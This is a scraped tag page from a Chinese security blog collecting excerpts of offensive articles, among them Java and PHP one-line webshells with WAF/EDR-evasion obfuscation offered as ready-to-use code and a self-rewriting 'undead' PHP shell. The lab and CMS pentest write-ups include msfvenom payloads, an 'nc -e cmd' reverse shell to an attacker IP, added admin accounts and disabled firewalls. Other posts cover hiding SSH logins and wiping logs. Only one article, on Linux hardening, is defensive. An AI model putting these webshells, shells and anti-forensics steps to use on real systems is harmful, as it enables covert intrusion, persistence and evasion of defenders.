泷羽Sec-分享网络安全 | 安全产品测评 | 网站建设 - 权限维持
type: channel
link: https://longyusec.com/tag/%E6%9D%83%E9%99%90%E7%BB%B4%E6%8C%81/
items: MemShellParty 一款主流 Web 中间件内存马生成工具
items: 30种Java一句话木马免杀方法
items: Linux 服务器如何进行安全加固？
items: 【2026最新】PHP一句话木马免杀方法
items: 【域渗透】CyberStrikeLab-Lab1
items: linux进程隐藏
items: upload-labs通关全教程Web安全-文件上传漏洞超详细解析
items: linux隐身登录
items: 深入某CMS渗透测试：从弱口令到接管webshell

MemShellParty 一款主流 Web 中间件内存马生成工具
type: item
date: 2026-04-30T20:55:44+08:00
description: 本工具仅供安全研究人员、网络管理员及相关技术人员进行授权的安全测试、漏洞评估和安全审计工作使用。使用本工具进行任何未经授权的网络攻击、渗透测试等行为均属违法，使用者需自行承担相应的法律责任。工具简介MemShellParty 是一款专注于主流 Web 中间件的内存马快速生成工具，专为安全研究人员与红队攻防人员打造，核心目标是简化内存马载荷的生成流程，大幅提升漏洞验证与攻防实战的工作效率。核心特性全场景强兼容全面覆盖攻防场景下各类常见中间件与框架，JDK 版本适配范围覆盖 JDK6 ~ JDK21，可满足不同环境下的实战使用需求。高可用稳保障针对所有支持的中间件与框架，搭建了完整的自动化测试矩阵，严格保障每一次生成的载荷都具备极高的可用性与稳定性，最大程度杜绝实战场景中的不确定性。极致轻量化优化基于深度优化的字节码生成策略，MemShellParty 实现了内存马体积的大幅缩减：常规内存马体积相较于 JMG 等传统工具缩小 30%，Agent 内存马通过 ASM 技术实现了 80% 的体积优化。无侵入无干扰生成的内存马对目标中间件的正常业务流量无任何影响，即使同时注入十几个不同类型的内存马，也不会干扰目标服务的正常运行。一键化傻瓜操作内置针对主流表达式注入、反序列化、SSTI 等常见漏洞的载荷生成能力，系统可自动适配 Java 模块限制绕过配置，动态生成最优攻击载荷，实现常规漏洞载荷的一键生成。高灵活自定义扩展原生支持哥斯拉、冰蝎、蚁剑、Suo5、NeoreGeorg 等主流工具的内存马生成；同时提供高度灵活的自定义内存马上传能力，可将任意定制化载荷融入 MemShellParty 的生成体系，打造贴合自身战术需求的攻击平台。快速使用使用前必读工具内置的探测马已完成服务类型的一一对应，探测所得的服务类型即为可生成对应内存马的服务类型（非中间件原生类型，例如 Apusic10 探测结果为 GlassFish，因其基于 GlassFish 进行二次开发）。在线尝鲜提示：仅限尝鲜使用，对于公网暴露的非官方服务请谨慎使用，避免生成的内存马被植入后门。 正式稳定版（master 分支）：https://party.mem.mk ，每次 Release 都会自动部署最新镜像。 开发预览版（dev 分支）：https://dev-party.mem.mk ，可抢先体验正在开发的新功能。 本地部署（推荐）适合内网环境或本地测试使用，可通过 Docker 一键启动服务，部署完成后访问 http://127.0.0.1:8080 即可使用。# Docker Hub 源，拉取最新镜像 Docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest # Github Container Registry 源，拉取最新镜像 Docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.io/reajason/memshell-party:latest # 国内网络优化，南大 Github Container Registry 镜像源 Docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.nju.edu.cn/reajason/memshell-party:latest

30种Java一句话木马免杀方法
type: item
date: 2026-04-16T15:48:46+08:00
description: 前置合规声明本文所有内容仅用于授权范围内的Web应用安全测试、红蓝对抗演练与网络安全人才合规培养，严格遵循《中华人民共和国网络安全法》《数据安全法》《刑法》第285/286条等相关法律法规。严禁将本文相关技术用于任何未经授权的网站入侵、服务器攻击、数据窃取等违法违规行为，任何未授权在他人Web容器/服务器中植入恶意代码的行为，都将承担相应的民事、行政乃至刑事责任。本文所有代码仅用于安全研究与授权测试，使用者需自行承担违规使用带来的全部法律责任。Java一句话木马免杀的底层逻辑Java Web一句话木马的核心，是通过可控的用户输入，调用Java代码执行/系统命令执行机制，实现远程命令执行、文件管理等操作。而WAF/EDR对Java一句话木马的查杀，核心围绕5个维度展开： 静态特征匹配：检测Runtime.getRuntime().exec()、ProcessBuilder、Class.forName()、Method.invoke()、JSP<% %>脚本标签等敏感关键词的连续组合； 语义分析：识别「用户可控输入→反射调用→命令执行」的恶意执行链路； 字节码检测：扫描JSP编译后的Servlet字节码，识别恶意类/方法调用； 行为检测：运行时检测动态类加载、进程创建、文件读写等恶意行为； 沙箱动态分析：将JSP/Class放入沙箱运行，捕获恶意行为特征。 所有免杀方法的核心本质，都是破坏WAF的检测维度：要么拆分/隐藏敏感类名、方法名，要么打乱执行链路，要么利用Java合法语法/业务逻辑伪装恶意行为，要么直接操作字节码隐藏特征，最终实现「静态无特征、语义无恶意、行为无异常」。本文所有免杀方法均适配Java 8+主流版本（兼容Java 11/17），覆盖Tomcat、Jetty、WebLogic等主流Web容器，按「新手入门→进阶混淆→极致免杀」的梯度排序，每一种方法均标注核心原理、实战代码、适配环境与避坑提示，拿来即可落地。30种Java一句话木马免杀方法第一类：基础关键词拆分与字符串变形免杀（方法1-5）核心逻辑：把Runtime、exec、ProcessBuilder等敏感类名、方法名拆分为多个片段，运行时再拼接还原，直接破坏WAF的连续字符串特征匹配，新手零门槛上手。方法1：字符串简单拼接免杀免杀原理：将Runtime、getRuntime、exec等敏感关键词拆分为多个无意义的字符串片段，运行时拼接还原，绕过WAF对连续关键词的匹配。 实战代码（JSP形式）：<%@ page import="java.lang.Runtime" %> <% String cls = "Run" + "time"; String m1 = "get" + "Runtime"; String m2 = "ex" + "ec"; Class<?> c = Class.forName("java.lang." + cls); Object obj = c.getMethod(m1).invoke(null); c.getMethod(m2, String.class).invoke(obj, request.getParameter("cmd")); %> 适配环境：全Java版本+主流Web容器 避坑提示：不要直接线性拼接，可插入无关字符串再替换，例如String cls = "Run#time"; cls = cls.replace("#", "");，免杀效果更强。方法2：字符串逆序免杀免杀原理：把敏感类名、方法名逆序处理，运行时通过StringBuilder.reverse()还原，静态扫描无法直接匹配到正向的敏感关键词。 实战代码（JSP形式）：<% String cls = new StringBuilder("emitnuR").reverse().toString(); // Runtime逆序 String m1 = new StringBuilder("emitnuRteg").reverse().toString(); // getRuntime逆序 String m2 = new StringBuilder("cexe").reverse().toString(); // exec逆序 Class<?> c = Class.forName("java.lang." + cls); Object obj = c.getMethod(m1).invoke(null); c.getMethod(m2, String.class).invoke(obj, request.getParameter("cmd")); %> 适配环境：全Java版本+主流Web容器 避坑提示：可配合Base64编码逆序，双重变形绕过深度特征匹配。方法…

Linux 服务器如何进行安全加固？
type: item
date: 2026-04-10T14:53:50+08:00
description: 前言Linux 服务器是企业业务的核心载体，从 Web 服务、数据库、中间件到容器集群，绝大多数生产业务都运行在 Linux 系统之上。而互联网暴露面扩大、供应链漏洞频发、定向攻击常态化，让 Linux 服务器成为黑客入侵的首要目标。安全加固的核心目标，是通过最小权限原则、纵深防御体系、持续审计机制，缩小服务器攻击面，阻断攻击路径，提升抗入侵能力 —— 即使边界防护被突破，也能最大程度保护核心数据与业务安全。本文覆盖从账号认证、服务最小化、权限管控到网络防护、日志审计、入侵检测的全维度落地方案，适配 CentOS 7/8/9、RHEL 7/8/9、Ubuntu 20.04/22.04/24.04 等主流企业级发行版，所有操作均配套明确的配置命令、验证方法与回滚方案，可直接落地到生产环境。一、前置核心加固原则所有加固操作需严格遵循以下原则，避免业务中断或防护失效：1、 最小权限原则：仅给用户、服务、进程分配完成任务所需的最小权限，杜绝过度授权2、 最小暴露原则：关闭所有非必要的端口、服务、组件，从根源缩小攻击面3、 纵深防御原则：构建账号、网络、文件、应用多层防护体系，避免单点防护失效4、 可回滚原则：修改配置前必须备份原文件，所有操作均配套回滚方法，避免生产故障5、 持续审计原则：加固不是一次性操作，需定期开展基线检查、漏洞扫描与日志审计，持续优化防护策略【生产环境避坑提示】所有涉及系统核心配置、SSH 服务、防火墙的修改，需先在测试环境验证，再逐步落地生产；修改 SSH 配置后，需先保留当前会话，用新会话测试登录正常后，再关闭原会话，避免服务器失联。二、账号与身份认证安全加固账号与认证是服务器安全的第一道防线，超过 70% 的 Linux 入侵事件，都源于弱口令、账号过度授权、SSH 配置缺陷导致的边界突破。2.1 清理无用账号，消除风险账户系统安装、业务迭代过程中会产生大量无用账号，包括默认创建的程序账号、废弃的运维账号，这些账号往往成为黑客入侵的突破口。# 1、备份原账号配置文件，方便回滚 cp /etc/passwd /etc/passwd.bak.$(date +%Y%m%d) cp /etc/shadow /etc/shadow.bak.$(date +%Y%m%d) # 2、查看系统中所有可登录的账号，排查废弃账号 cat /etc/passwd | grep -E "/bin/bash|/bin/sh|/bin/zsh" # 3、锁定无用账号（推荐，可恢复，比直接删除更安全） usermod -L 废弃用户名 # 解锁账号回滚命令：usermod -U 废弃用户名 # 4、禁用程序账号的登录权限，杜绝账号被滥用 usermod -s /sbin/nologin 程序用户名 # 示例：usermod -s /sbin/nologin apache 2.2 强制配置强密码策略弱口令是黑客暴力破解的首要目标，需通过 PAM 模块强制系统所有用户使用复杂度达标的密码，同时限制密码有效期与重试次数。适配 CentOS/RHEL 系列# 1、安装密码质量检测模块 yum install -y libpwquality # 2、修改密码策略配置文件，强制密码复杂度 vi /etc/security/pwquality.conf # 新增/修改以下配置： minlen = 12 # 密码最小长度12位 minclass = 3 # 必须包含大小写字母、数字、特殊符号中的3种 maxrepeat = 3 # 禁止连续3个相同字符 difok = 5 # 新密码与旧密码至少5个字符不同 enforce_for_root = 1 # 强制root用户也遵循该策略 # 3、配置密码登录失败锁定策略，防止暴力破解 vi /etc/pam.d/system-auth vi /etc/pam.d/password-auth # 在auth字段新增配置，连续5次失败锁定10分钟： auth required pam_fAIllock.so preauth audit silent deny=5 unlock_time=600 auth [default=die] pam_fAIllock.so authfAIl audit deny=5 unlock_time=600 auth sufficient pam_fAIllock.so authsucc audit 适配 Ubuntu/Debian 系列# 1、安装密码质量检测模块 apt install -y libpam-pwquality # 2、修改密码策略配置 vi /etc/pam.d/common-password # 修改pam_pwquality.so行，添加强制规则： pass…

【2026最新】PHP一句话木马免杀方法
type: item
date: 2025-12-14T21:47:30+08:00
description: 这里主要收集了一些常用的php一句话木马不同的写法，应对一些对文件内容过滤的场景1、普通一句话木马<?php @eval($_POST['cmd']); ?> 2、如果过滤了eval，可以使用assert绕过<?php @assert($_POST['cmd']); ?> 3、当过滤了eval、assert两个关键字时，可以用字符串拼接的方式。介绍substr_replace()函数<?php $a=substr_replace("assexx","rt",4); @$a($_POST['cmd']); ?> 4、@call_user_func把第一个参数作为回调参数使用<?php @call_user_func(assert,$_POST['cmd']); ?> 5、除了substr_replace()，还有一种字符分割法<?php $a="a"."s"; $b="s"."e"."rt"; $c=$a.$b; $c($_POST['cmd']); ?> 6、给下面给fun1中的变量a赋值assert<?php function fun1($a){ assert($a); } fun1($_POST['cmd']); ?> 7、可以利用函数来构造一句话木马<?php function shyshy($a){ assert($a); } @shyshy($_POST['cmd']); ?> 8、适用于过滤了GET和POST的情况下<?php $a=$_REQUEST['cmd']; $b="\n"; eval($b.=$a); ?> 9、可以构造一个类，利用魔术方法来拼接<?php class shyshy{ public $a=''; function __destruct(){ assert("this->$a"); } } $b=new shyshy(); $b->a=$_POST['cmd']; ?> 10、base64加解密<?php $a=base_decode(YXNzZXJ0); $b=$a(base64_decode($_POST['cmd'])); ?> 11、写入木马<?php if(isset($_POST['filename'])) { $d='data'; $$d=$_POST['text']; //$data $f='fp'; $$f=fopen($_POST['filename'],'wb'); //$fp echo fwrite($fp,$data):"save success":"save fAIl"; fclose($fp); } ?> 12、不死马<?php ignore_user_abort(true); //设置与客户机断开是否会终止脚本的执行，true则不会 set_time_limit(0); //如果为零说明永久执行直到程序结束 unlink(__FILE__); //调用unlink()的时候，文件还是存在的，只是目录里找不到该文件了，但是已经打开这个文件的进程可以正常读写 $file='./.index1.php'; $code='<?php if(md5($_POST["pass"])=="xxxxxxxxxx") //给木马设置密码，防止他人使用 { @eval($_POST["cmd"]); }?>'; while(1){ file_put_contents($file,$code); system('touch -m -d "2018-12-01 9:10:12" .index1.php'); //设置文件的编辑时间 usleep(5000); } ?> 13、还有一种方法<?php function simpleTransform($str, $offset = 1) { $transformed = ''; for ($i = 0; $i < strlen($str); $i++) { $transformed .= chr((ord($str[$i]) + $offset) % 256); } return $transformed; } $original = $_REQUEST["a"]; $transformed = simpleTransform($original, 3); function reverseTransform($str, $offset = 1) { $reversed = ''; for ($i = 0; $i < strlen($str); $i++) { $reversed .= chr((ord($str[$i]) - $offset + 256) % 256); } return $reversed; } $reversed …

【域渗透】CyberStrikeLab-Lab1
type: item
date: 2025-12-06T14:05:18+08:00
description: 1、WEB渗透在网页底部的版权信息区域，发现明确标注 易优 CMS”，从这里可以锁定站点使用的 CMS 系统类型。进一步信息收集，通过百度检索易优 CMS 官方文档，确认该 CMS 系统基于 ThinkPHP5.0 框架开发选用 ThinkPHP 漏洞利用工具，用ALL检测所有漏洞。通过工具检测目标站点存在tp5_index_construct_rce命令执行漏洞。通过 ThinkPHP 漏洞利用工具的 “命令执行模块”，输入基础探测命令whoami（用于查询当前执行用户身份），执行后返回结果为nt authority\system，明确当前已获取系统权限漏洞触发获取的权限是 “临时权限”，一旦漏洞修复、服务重启或网络中断，攻击者将失去对服务器的控制。因此，写入后门的核心目的是建立 “持久化控制通道”，确保后续可随时访问目标服务器，且不易被管理员发现。写入一句话木马，设置木马名称，再点击GetShell，成功的话最后获得一句话木马的地址<?php @eval($_POST['a']);?> 为实现可视化管理，使用蚁剑（一款专门用于管理 Web 后门的工具）进行连接。在蚁剑中输入木马访问地址、通信密码a，点击 “测试连接”，显示 “连接成功”，表明已建立稳定的 Web 管理通道。通过蚁剑可直观查看服务器文件系统、执行命令、上传下载文件，操作便捷且隐蔽性强。解法一：数据库密码泄露/config/database.php，数据库配置文件配置文件中显示数据库用户为root，密码为xxxxxx（已隐藏）。 Windows 默认管理员账号administrator，并复用该数据库密码作为系统登录密码。启用远程桌面连接，需通过蚁剑执行以下命令：# 修改注册表，允许远程登录： reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f # 关闭 Windows 防火墙： netsh advfirewall set allprofiles state off 远程连接，输入目标服务器 IP、账号administrator、密码xxxxxxadministrator ：数据库密码 登录成功，这里登录成功的权限是administrator管理员组而这里蚁剑执行命令的权限是系统权限，权限等级会更高一点，主要利用这一块解法二：添加用户通过蚁剑执行以下命令：# 创建新用户，并设置密码： net user xiaoyu 123@abc /add # 将新用户添加到管理员组： net localgroup Administrators xiaoyu /add 生成正向连接木马：MSFvenom -p Windows/meterpreter/bind_tcp LHOST=10.10.10.173 LPORT=4444 -f exe -o shell.exe 本次测试中，目标服务器可被攻击者访问，但攻击者主机因处于内网无公网 IP，因此选择正向连接模式。设置正向连接，是我们主动去连接目标主机的4444端口use exploit/multi/handler # 启用监听模块 set payload Windows/meterpreter/bind_tcp # 匹配生成木马时的payload set RHOST 192.168.10.10 # 目标服务器IP地址 set RPORT 4444 # 匹配木马中设置的监听端口 run # 启动监听 通过蚁剑将生成的shell.exe文件上传至目标服务器的 Web 根目录（或其他可执行目录），并执行该文件。上传上去了，但是执行没有结果，那是因为我们是正向连接，需要主动去连接靶机的4444端口，而不是等着shell回弹回来，如果还没有回来，请禁用目标防火墙netsh advfirewall set allprofiles state off 命令执行后，MSF 控制台立即反馈 “Meterpreter session 1 opened”，表明已成功建立稳定的 Meterpreter 会话。这里就已经成功上线了2、内网渗透ipconfig，查看目标服务器的内网 IP 段（192.168.20.0/24），并发现内网中存在其他主机选用 fscan 工具，通过 Meterpreter 的upload命令将工具上传至目标服务器：upload /data/CS/Cobalt_Strike_4.7/plugin/TaoWu/script/x64/fscan.exe 执行以下命令启动 fscan 扫描：fscan.exe -h 192.168.20.0/24 # 扫描整个内网网段 扫描结…

linux进程隐藏
type: item
date: 2025-05-18T18:34:36+08:00

upload-labs通关全教程Web安全-文件上传漏洞超详细解析
type: item
date: 2025-05-18T18:32:24+08:00
description: 不多废话，直接上理论呛死你(❍ᴥ❍ʋ)什么是文件上传漏洞？环境靶场：upload-labs服务器：centos7数据库：mysql5.7php：5.5nginx：1.24在开始之前先介绍一款windows defender卸载工具，提高渗透效率，不然文件上传成功就被杀了，文章在这儿，使用方法和下载链接很详细https://mp.weixin.qq.com/s/0L6EIYnnGqXaUveM7RWl6w漏洞简介文件上传漏洞通常发生在程序设计中，由于对用户上传文件的处理不当或存在缺陷，导致用户能够绕过权限限制，向服务器上传具有执行能力的动态脚本文件。这些文件可能包括木马程序、病毒、恶意脚本或WebShell等。尽管文件上传本身并非问题所在，但服务器对上传文件的处理和解释方式不当，可能会引发严重后果。高危触发点在任何提供文件上传功能的应用中，都可能存在文件上传漏洞的风险，例如在相册、头像上传、视频和照片分享等场景中。此外，论坛发帖和电子邮件附件上传等功能，也是文件上传漏洞的高风险区域。同样，文件管理器等工具也可能成为攻击者利用的目标。注意：移动设备同样面临着文件上传漏洞的威胁。漏洞复现upload-labs（1-21关）第一关（前端验证）由于靶场配置必须要使用php5.2版本才能正常运行，建议去https://fofa.info/找到描述为upload-labs的ip地址进入即可在开始闯关之前我们需要用到一句话木马，php文件代码如下<?php @eval($_POST['shell']);?>第一关因为是进行前端JS校验，分析源码可以直接在浏览器检查代码把checkFile()函数(即如下图红色框选中的函数)删了或者也可以把红色框改成true，并按回车，即可成功上传php文件。但是更改为return true之后还是在提示文件类型不正确这时候我们把js复制下来，打开浏览器控制台，并回车，直接重置checkFile()这个同名函数，使js执行俩次。上传成功。使用中国蚁剑测试，连接密码就是你php post请求的shell参数第二种方法就是禁用浏览器的javascript木马上传成功第二关（MIME验证）使用抓包工具，抓到了包，第一关是抓不到的，我们把上传的jpg文件修改为php即可上传成功第三关（黑名单验证，特殊后缀）将文件后缀修改为php1，php2即可不过需要注意，上传成功后文件名称改变了第四关（黑名单验证，.htaccess）通过上传htaccess文件进行绕过由于黑名单没有过滤htaccess文件后缀名，我们可以上传一个htaccess文件，让文件所在位置的目录下文件被php解析。使用前提要在apache下的httpd.conf文件更改。启用.htaccess，需要修改httpd.conf，启用AllowOverride，并可以用AllowOverride限制特定命令的使用。打开httpd.conf文件用文本编辑器打开后,查找更改为重启Apache，上传.htaccess文件，然后再上传phpinfo的jpg文件.htaccess文件内容如下setHandler application/x-httpd-php复现失败！(｡◕ ∀ ◕｡) ，哈哈哈哈，好像要特定的环境，自己去找找资料吧，小编我也找了好久没出来。不急，还有第二种发方法，windows特性后缀xxx.php. .上传文件之后会自动去掉后面的内容不愧是中国蚂蚁，over！第五关（黑名单验证，.user.ini.）和第四关一样php. .第六关（黑名单验证，大小写绕过）这一关同样是后端黑名单，.htaccess和.ini。但是没有使用strtolower()函数，可以使用大小写绕过黑名单把.php 格式改为.Php上传上去之后，就会自动解析为.注意上传成功后的真实的文件地址。第七关（黑名单验证，空格绕过）仔细分析源代码，容易发现代码中并没有把空格去掉$is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".as…

linux隐身登录
type: item
date: 2025-05-18T18:29:02+08:00
description: ssh隐身登录前言之前在打靶机的时候遇见的知识点。今天刚好优化学习一下，如果哪里有错误还请指正，欢迎留言，让更多的师傅们交流学习，还请不要使用文章内容进行非法渗透。本次教程主要用到w和last两个命令w命令介绍w 是什么？我用的Ubuntu系统，在ubuntu系统中的w命令，主要用于显示当前当前登录用户的所有信息，包括正在执行的命令。比如我新建两个ssh连接（也就是两个终端，连同一个服务器）。终端1：执行 ping www.baidu.com在ping的过程中，打开终端2，那么就能看到当前用户正在使用 ping 命令但是我们使用 w 命令的时候，此时能看到当前登录的信息，这个TTY下的pts/0和pts/2意思就是伪终端的区分，也就是两个不同的ssh连接。两个ssh的连接，连接的同一个服务器last命令last命令主要用于显示用户的登录历史记录。这个命令会读取/var/log/wtmp文件（在某些系统中可能是/var/log/btmp）同样的我们登录两个ssh连接，使用这个命令也能看到有两台机器登录隐藏登录真实渗透过程中是相当致命的。那么如何隐藏自己呢？那么就要用到如下命令ssh -T root@xxx.xxx.xxx.xxx /bin/bash -i 命令拆解-T ：告诉ssh客户端，不要分配一个TTY（伪终端）root ：连接用户xxx.xxx.xxx.xxx ：连接的服务器ip地址/bin/bash ：在远程服务器上启动一个交互式的Bash shell。效果如下，默认登录一个终端的时候，会有一个pts/0，但是这里已经成功隐藏了登录配置一台正常连接的ssh终端，也可以看到，我同时登录了两台服务器，但是只显示了一台服务器登录。ssh root@xxx.xxx.xxx.xxx出于安全考虑，通常禁用root通过ssh登录，或者禁止root用户执行某些操作，使用普通用户登录系统。排查使用 $PPID，可以看到当前用户的父进程信息。清楚当前的history记录如果我们不希望命令被记录，在退出会话前直接执行：# 清楚当前会话的命令历史记录 history -r # 或者 不给当前的shell留时间去处理，内存的命令也没时间写入到文件 kill -9 $$history -r将历史命令文件中的命令(/.bash_history) 读入当前历史命令缓冲区.history -r 把历史文件(/.bash_history）附加到内存数据中了举例，ping www.baidu.com后，kill，连接断开重新登录，history，并没有ping 这条命令，隐藏成功正常退出重连，history隐藏Vim的操作记录当我们使用 vim时候,会在 ~/.viminfo留下操作记录，建议使用vi 。 或者在vim中使用命令关闭记录。:set history=0 :!command 隐藏文件修改时间一般管理员会查看一个文件的修改时间，我们可以把我们的后门文件时间修改成几天之前创建的效果。使用如下命令。# touch -r A B ，将 B 文件的日期改为 A 文件的日期 touch -r appsetting.json longyusec.txt虽然如此，但还是能用stat命令看到修改时间stat中的三个属性意思是最近访问(access time)：表示我们最后一次访问（仅仅是访问，没有改动）文件的时间 最近更改(modify time)：表示我们最后一次修改文件的时间 最近改动(change time)：表示我们最后一次对文件属性改变的时间，包括权限，大小，属性等等或者使用find命令，查找24小时内被修改过的文件find ./ -ctime 0 -name 'longyusec.txt'那么如果再绕过 stat的检测呢？ 修改系统时间后再 touch -r A B 就可以了。最后记得把系统时间改回来啊锁定文件有时候你发现用root权限都不能修改某个文件，大部分原因是曾经用chattr命令锁定该文件了。此权限用ls -l是查看不出来的，从而达到隐藏权限的目的。chattr命令不能保护/、/dev、/tmp、/var目录。lsattr命令是显示chattr命令设置的文件属性。chattr +i shell.php #锁定文件 rm -rf shell.php #提示禁止删除 lsattr shell.php #属性查看 chattr -i shell.php #解除锁定 rm -rf shell.php #删除文件让某个文件只能往里面追加数据，但不能删除，适用于各种日志文件# chattr +a /var/log/messages清除系统日志痕迹Linux 系统存在多种日志文件，来记录系统运行过程中产生的日志清除系统日志痕迹/var/log/btmp 记…

深入某CMS渗透测试：从弱口令到接管webshell
type: item
date: 2025-05-18T18:26:18+08:00
description: 前言401验证，在网络通信和HTTP协议中，特指一种状态码——401 Unauthorized（未经授权）。当客户端尝试访问受保护的资源时，如果未能提供有效的身份验证信息，或者提供的信息不足以获得访问权限，服务器就会返回401状态码，表示请求未被授权。靶场复现弱口令123456当然也可以使用bp爆破base64解密添加迭代器，用户字典在这里添加一个冒号添加密码字典添加处理规则base64编码这里发现一个百分号的url编码，他就是我们401认证中间的冒号这里取消url编码即可然后进行爆破即可，找到一个响应为200的就是爆破成功的然后解密就好返回页面登录成功后就会得到key1进入到首页登录sql注入尝试，被验证了双引号也不行对搜索框进行xss攻击，发现对<>进行了过滤url编码，但是被转义成了script的a标签，还是以字符串的形式添加到相关搜索注册一个用户信息这里成功注册了，但是也没有alert(1)查看首页过来，也没有，修改闭合标签试试修改信息，并添加一个strong标签失败了，好像还有字符长度限制在短消息界面中尝试xss失败，没效果xss验证，被转义成了字符串 好家伙直接添加成功，也没有xss漏洞找到默认 织梦 后台管理地址管理员没有修改默认登录界面admin 万能密码绕过，没有效果查看端口开放信息这个端口也没有什么东西3306端口，mysql远程连接试试，拒绝远程连接robots爬虫协议/include/templets，都没发现什么东西找到头像设置界面，一句话图片马能上传了可以上传图片，但是找了好一会儿，没有找到文件包含的地方御剑目录扫描扫不出任何东西这里有一个认证，就是401认证，用普通的目录扫描工具是扫不出任何东西的Authorization: Basic YWRtaW46MTIzNDU2用burp suite扫描抓包指定好御剑的字典目录扫描路径刚刚扫描到的phpmyadmin这个错误介绍MySQL是一个流行的开放源代码关系数据库管理系统。它是许多Web应用程序的基础，例如WordPress，Magento和Drupal等。MySQL允许用户通过自己的主机或云服务器上的phpMyAdmin进行MySQL管理。然而，有时候用户可能会遇到MySQL Error # 1045 – Cannot Log in to MySQL server -> phpmyadmin错误。这篇文章将介绍这个错误，以及如何解决它。错误原因该错误通常意味着您没有权限访问MySQL服务器。在MySQL中有一个root用户，它是MySQL服务器的超级管理员。如果您尝试使用root用户登录MySQL服务器但不知道密码，或者尝试通过phpMyAdmin使用root用户但是密码错误，那么您就会遇到MySQL Error # 1045。此外，如果您使用的是不正确的用户名或密码，也会遇到此错误。弱口令root/root成功一、后台文件上传登录mysql，找到指定的数据表，查看admin密码解密admin/888888成功进入到了后台界面找到这个文件式管理器，找到key2查看这个key2上传php文件用nmap进行扫描扫出来结果为windows系统执行命令dir查看系统信息，是windows server 2008操作系统在当前uploads目录上传一个nc.exe移交cmd权限到攻击机器nc.exe [ip] [端口] -e cmddir查看是否成功查看用户权限信息，是超级管理员，那么我们就可以添加一个管理员用户添加用户，并添加到admin用户组# 添加一个用户 net user 用户名 password /add # 添加用户名到指定用户组 net localgroup administrators 用户名 /add开启远程wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1nmap扫描指定端口，查看是否开启用你刚刚添加的用户进行远程连接查看administrator目录，成功访问，获得目标服务器权限，这里环境没有配置key3，演示结束。二、日志写入phpmyadmin日志功能SHOW VARIABLES LIKE "%general%"这里我们查看日志状态是开启的，我们可以尝试写日志的方式，获取shell命令如果没有打开也可以使用如下脚本，打开日志功能SET GLOBAL GENERAL_LOG=on在上面我们看到了日志的路径，确定了本站为phpstudy搭建的，我们修改日志文件到我们的shell.php查看脚本是否存在写入日志SELECT "<?php @eval($_POST[10]); ?>"这里不要忘了添加401验证的请求头